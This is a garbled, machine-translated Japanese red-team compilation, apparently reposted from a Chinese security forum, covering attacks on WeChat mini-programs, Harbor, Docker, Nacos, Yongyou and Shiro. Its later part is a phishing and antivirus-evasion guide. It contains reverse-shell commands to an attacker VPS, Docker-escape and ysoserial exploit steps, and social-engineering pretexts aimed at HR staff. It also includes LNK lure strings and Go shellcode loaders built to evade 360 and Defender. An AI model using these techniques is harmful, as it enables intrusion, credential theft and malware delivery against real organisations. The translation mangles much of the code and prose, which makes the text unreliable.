WECHATアプレットを開梱する場合、最初に行う必要があるのは、ターゲットアプレットのWXAPKGファイルを取得することです。 WXAPKGファイルは、WeChatアプレットのインストールパッケージファイル形式であり、アプレットのコード、リソース、その他の必要なファイルを別のファイルにパッケージ化するために使用されます。ただし、Windows環境のWXAPKGファイルのJSコードとリソースファイルは一般に暗号化されており、最初に復号化してからファイルの内容を開梱して取得するには、特別に設計された復号化ツールが必要です。開梱は、iOSおよびAndroidプラットフォームで直接実行できます。

1.2.1.1。 wxapkgファイルを取得

WXAPKGファイルを取得する場合、最初にフォルダー内のファイルを削除し、次にアプレットを再開して、他のファイルが干渉しないようにすることをお勧めします。

iOS WXAPKGファイルストレージパスは次のとおりです。

/var/mobile/containers/data/application/{system uuid}/library/wechatprivate/{user hash value}/weapp/localcache/{release/{appid of Applet}

Android WXAPKGファイルストレージパスは次のとおりです。

/data/data/com.tencent.mm/micromsg/{user hash value}/appbrand/pkg/

WINDOWS WXAPKGファイルストレージパスは次のとおりです。

c: \ users \ {system username} \ documents \ wechat files \ applet \ {appid of applet} \

image.png

1.2.1.2。復号化操作

次の2つのGitHubプロジェクトを復号化できます

https://github.com/superdashu/pc_wxapkg_decrypt_python

https://github.com/blacktrace/pc_wxapkg_decrypt

復号化の原則

image.png

正常に復号化されました

image.png

1.2.1.2。操作の開梱

Guoguang Bossが提供するツールダウンロードリンク

https://SQLSEC.LANZOUB.COM/I1NEP0MX694F

ノードwuwxapkg.js 1.wxapkg

image.png

アプレットを開梱し、フロントエンドJSコードを取得し、それから抽出してインターフェイスを取得します

image.png

フロントエンドページには初期化の障害が表示されますが、ターゲットインターフェイスへの直接アクセス

image.png

ただし、トラフィックパケットでデータが取得されており、ターゲットユニットの1,000万近くの機密情報が見つかりました。

image.png

1.3。 Webプログラムは

に到達します

上記のパスワードを通じて、アカウントを作成するためにパスワードがノックアウトされますが、このアカウントには最小許可があり、操作許可はありません。クリックして組織構造を検索すると、現時点では返品情報がありませんimage.png

パッケージをキャッチして、ParentIDとOrglevelを削除してから、パッケージを送信すると、許可なくすべての従業員の組織構造を確認できます。

image.png

クリックしてパスワードを変更し、上記の役割を追加してすべてのアクセス許可を取得します

image.png

多くのデータを取得します

image.png

1.4。公式アカウント

JSリークパスワード、パスワードはターゲットユニットの公式アカウントにヒットする可能性があります

image.png

2。クラウドネイティブセキュリティ

コンテナ化された展開とマイクロサービスアーキテクチャは、アプリケーション開発と展開の柔軟性、スケーラビリティ、保守性、パフォーマンスを向上させます。ますます多くのメーカーが使用しています。新しいアプリケーションでは、コンテナエスケープ、サービス間攻撃、API乱用などの新しい攻撃面が導入されます。攻撃者は、これらの新しいエントリポイントを悪用してアプリケーションとデータを攻撃することができます。クラウドネイティブ環境でのユーザーとサービスの認証と認証を管理することがより複雑になります。多くのアプリケーション開発者は、コンテナ化されたクラウドネイティブアーキテクチャの利便性と効率性を追求する際に、しばしば二次的な位置を見落としたり、配置したりします。これは、クラウドネイティブ環境の脆弱性に直接つながり、さまざまなセキュリティの脅威や攻撃に対して脆弱です。

2.1。ハーバーミラーウェアハウス

ハーバーは、組織がDockerコンテナの画像を保存、管理、配布できるように設計されたオープンソースコンテナ画像リポジトリマネージャーですが、Harborには論争の的となっている「脆弱性」があります。ユーザーはパブリックイメージを直接取得できます。

image.png

画像ファイルを直接プルしてダウンロードし、スクリプトを使用してバッチでダウンロードできます。

image.png

2.2。疑わしいバックドア

画像ファイルを介してJARパッケージを取得し、構成ファイルなどの機密情報を取得し、JARパッケージのクラスファイルを逆コンパイルし、コード監査を実行してバックドアのような脆弱性を取得します。このインターフェイスは、ユーザー名を使用してシステムの背景にログインするだけです。管理者の権限は、ファイルアップロードと組み合わせてサーバーアクセス許可を取得するために使用されます。

image.png

構成ファイルなどを介してデータベースに接続します。

image.png

2.3。 Dockerは許可されていません

2.3.1。レジストリAPI不正アクセス

DockerレジストリAPIでは、認証と承認は通常、アクセストークンまたはユーザー名とパスワードに基づいています。アクセス制御権限が正しく設定されていない場合、不正アクセスの脆弱性が発生します。攻撃者は、レジストリリポジトリのすべてのミラーコンテナを直接ダウンロードできます。

/v2 /_catalogインターフェイスにアクセスして、すべてのリポジトリの内容を表示します

image.png

https://github.com/soufaker/docker_v2_catalog

上記のツールを使用して、ミラーを直接ダウンロードします

2.3.2。 DockerリモートAPI不正アクセス

コンテナクラスターを管理するために、Dockerは、パラメーター-hを使用して、管理インターフェイスを介して送信されたDockerコマンドを背景デーモンとしてデーモンを実行できます。

0.0.0.033602375 Dockerを開始します

デーモンのとき、ポート2375が開かれ、リモートDockerクライアントからコマンドを受信します。この場合、ポート2375は暗号化されていないポートとして公開されており、認証の形態はありません。攻撃者は、Dockerコマンドを使用してDockerに直接接続できます

デーモン、およびコンテナで直接操作を実行し、ルートディレクトリマウントでコンテナエスケープを実現できます。

#viewコンテナ

Docker -H TCP: //Target:2375 PS -A

image.png

#ホストのルートディレクトリをコンテナ内のMNTディレクトリにマウントします

Docker -H TCP3360 //Target:2375 RUN -IT -V/:/MNT NGINX:LATEST/BIN/BASH

#Reboundシェル

Echo 'Bounce Shell Command'/MNT/VAR/SPOOL/CRON/CRONTABS/ROOT

2.4。 NACOS

NACOSは、オープンソースのダイナミックサービスの発見、構成管理、サービス管理プラットフォームです。登録センター、構成センター、サービス管理などの機能を提供し、開発者がマイクロサービスアーキテクチャのサービス登録、構成管理、サービス発見要件を実現するのに役立ちます。

オープンソースツールとして、多くの脆弱性が明らかにされています。

不正アクセス:/nacos/v1/auth/users?pageno=1pagesize=1ユーザーの直接ビュー

ユーザーを追加:post/nacos/v1/auth/users username=password=

ユーザーパスワードの変更:Curl -X Put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken \=' -h 'user -agent3:nacos -server' -d 'username \=test1newpassword \=test2' '

弱いパスワード:NACOS/NACOS

image.png

パスワードをバックグラウンドに爆破するようにスケジュールすることにより、多数の構成ファイルが見つかりましたが、機密情報は暗号化されました

image.png

2.4.1、JASYPT暗号化

データベースパスワードなど、Springの構成ファイルにはいくつかの機密情報があります。そのため、機密情報を暗号化することもあります。 Jasyptは比較的便利なツールです。 JASYPTは、機密データ(パスワード、APIキーなど)の暗号化と復号化操作を簡素化するために使用されるJavaライブラリです。

暗号化されたコンテンツはEnc(.)に同封する必要があり、暗号化されたパスワードはjasypt.encryptor.passwordによって指定されます。

spring:

DataSource:

username: your-username

Password: enc(暗号化されたパスワード)

復号化する必要があるため、パスワードは構成ファイルまたはコードに配置する必要があります。

#application.yml

JASYPT:

encryption:

Password:パスワード

algorithm:暗号化方法

復号化データ:復号化装置の復号化方法を使用して、暗号化されたデータを復号化します。

org.jasypt.util.text.basictextencryptorをインポートします。

パブリッククラスdecryptionexample {

public static void main(string [] args){

string encryptionkey='yourencryptionkey'; //暗号化キー

basictextencryptor textencryptor=new basictextencryptor();

textEncryptor.setPassWord(encryptionKey);

string encryptedText='necryptedText'; //暗号化されたデータ

string decryptedText=textencryptor.decrypt(encryptedText);

system.out.println( 'decrypted text:' + decryptedText);

}

}

ただし、クライアント暗号化のセキュリティは、主にクライアントコードの保護と信頼性に依存します。パスワードが漏れていると、暗号化が自然に失敗します。 ncaosファイルでJasypt暗号化されたパスワードを見つけた場合、直接復号化できます

image.png

OSSに正常に接続されています

image.png

データベースに正常に接続されています

image.png

ミニプログラムトークン、ミニプログラムを引き継ぎます

image.png

Damengデータベースは、国内のリレーショナルデータベースです。次のツールを使用して接続できます。

https://github.com/864381832/x-rdbmssynctool/releases/tag/v0.0.3

3。 nday

3.1。 Yongyounc jsinvoke rce脆弱性

脆弱性エクスプロイトメソッド、java反射メカニズムを介してjavax.naming.initialcontextオブジェクトを作成し、LDAPプロトコルを使用して指定されたIPアドレスとポートに接続します。次に、「nc.itf.iufo.ibasespservice」サービスの「savexstreamconfig」メソッドを呼び出し、オブジェクトと文字列をパラメーターとして受け入れ、コマンド実行の効果を達成します。

コマンドは正常に実行されましたが、ターゲットシステムにはソフトキルがあるため、ファイルを直接アップロードできません

image.png

3.1.1、certutil

Certutilは、Windowsオペレーティングシステムのコマンドラインツールです。主に証明書と暗号化関連の操作を処理するために使用されます。 certutilの復号化操作はバイパスできます。

echo bash64 myfile.jspをエンコードします

image.png

certutilを使用してデコードします

certutil -Decode Trojan相対パスデコードされたトロイの木馬相対パス

image.png

Ice Scorpionはオンラインで、CSが発売されます

image.png

3.2。 2つの

で開く場合

シロの穴が固定され、フロントデスクの情報漏れ脆弱性が見つかりました

image.png

ユーザー名を取得することにより、弱いパスワードを使用して背景、通常のアクセス許可を入力します

image.png

繰り返しになりますが、発表の投稿はパスワードを推測し、背景に正常にログインしました。システム管理権限が追加され、ユーザーには最高の権限が与えられました。

image.png

ユーザーログインを追加し、時限タスク関数を発見し、タイムされたタスクを直接使用してコマンドを実行する

image.png

3.3、shiro

ターゲットパスにアクセスすると、最初に統一された認証ログインにジャンプし、ほとんどの人がパスにシロデリリア化の脆弱性があることを無視します。

image.png

トライスルーメンタリティで、私はシロをスキャンし、直接許可を取得しました。

image.png

元のリンクから転載:https://forum.butian.net/share/2442

環境を取得:

ミラーをローカルに引っ張ります

$ docker pull medicean/vulapps:s_shiro_1

環境を開始します

$ docker run -d -p 80:8080 Medicean/vulapps:S_shiro_11。 shiro_attack_2.2ツールを使用してターゲットシステムを確認し、デフォルトキーがあるが、使用率チェーンはないことを発見しました

image_ylgMY223mT.png

2。shior_tools.jarを使用して、ターゲットシステムを直接検出します。検出が完了すると、実行可能操作が返されます。

Java -jar Shiro_tool.jar http://10.11.10.10.10833608081/login.jsp

vmd4mlzogw52427.png

2. [0]を選択し、DNSLOGアドレスを入力します。 DNSLOGテストを通じてエコーがあります。メモは次のとおりです。http://dnslog.cn/someサイトを使用すると、複数のdnslogプラットフォームに変更してテストできます。

image_htB_EhwPH9.png

dnslogにはエコーがあります。次に、シェルを取得します。固定思考のために、私は以前にLinuxに遭遇しました。私はそれがLinuxだと思ったが、私はそれをうまく使わなかった。最初は、ファイアウォールの傍受だと思っていました。その後、ディレクトリ構造を検出して、それがWindowsであることがわかったので、ここでペイロードを変更する必要がありました。

3. Ysoserialを使用して、パブリックネットワークVPSでポートを開き、リバウンドコマンドを実行します

Java -CP YSOSERIAL-MASTER-30099844C6-1.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1999 CommonsCollectionS5 'エンコード後のBASHコマンド

teszfudneua2429.png

image_wvD-c4KvV-.png

1049983-20231226000544164-439019386.jpg

ここのエンコードコンテンツはステップ4にあります

ピット1:commonscollection1-5シェルがリバウンドしない場合は、代わりに使用します

4.バッシュリバウンドコマンド編集

https://x.hacking8.com/java-runtime.html//encoded link

次の3種類の実行コマンドが必要に応じて選択されます。

ピット2:ここで実行されたbashコマンドは、最初に相手の実行システムに依存します。 Linxuの場合は、次の3つを試してください。勝っている場合は、Baiduリバウンドコマンドを個別に送信してください。

bash -i/dev/tcp/vpsip/7777 01

/bin/bash -i/dev/tcp/vpsip/7777 01 21

0196; exec 196/dev/tcp/vpsip/7777; SH 196 196 2196

2番目のタイプ、IP:シェルのVPSを受け入れるIPは、ポート:NCを使用して監視を開き、リバウンドするポートです。

/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21

tr1mmaku1md2432.png

Windows:Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 88 COMMONSBEANUTILS2 'LDAP: //VPSアドレス:1389/基本/コマンド/D2HVYW1P'

d2hvyw1pはコマンドのbase64です。ここに実行コマンドwhaamiがあります

Java -jar jndiexploit -1.0 -snapshot.jar -i VPSアドレス

5。NCモニタリング

jsnnlcnbrn02433.png

6.シェルのVPSによって開かれたポートとJava-solserial-jrmplistenerを入力します(ここで1を選択して、Jrmpclientを使用してシェルをリバウンドします)

dtvgbzrtuyc2434.png

7.実行の成功、リバウンドシェル

ta01fpf2ar22435.png

oehbrq3rwby2437.png

0l4rrdafylr2438.png

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXで報告されているように、XX募集は一般の電子メールアドレス、関連する構文に直面しています。

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務、および安全性の認識が弱い他の人々が望ましい。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

ryp4e4iibef2450.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はC: \ uses \ public \ videosディレクトリの下で実行されるようにリリースされます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

最初にPythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

殺されていないマスター・ワン・チャオの傑作は、悪魔攻撃3https://github.com/wangfly-me/loaderflyによって変更されました

サウザンドマシン - レッドチームトロイの木馬無料殺人馬はhttps://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルする場合、文字パラメーターを使用します。 360は引き続き毒を報告します。追加しないと、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

より高いバージョンhttps://github.com/burrowers/garbleに行きます

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

qmor0tz41py2461.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が正常に完了しました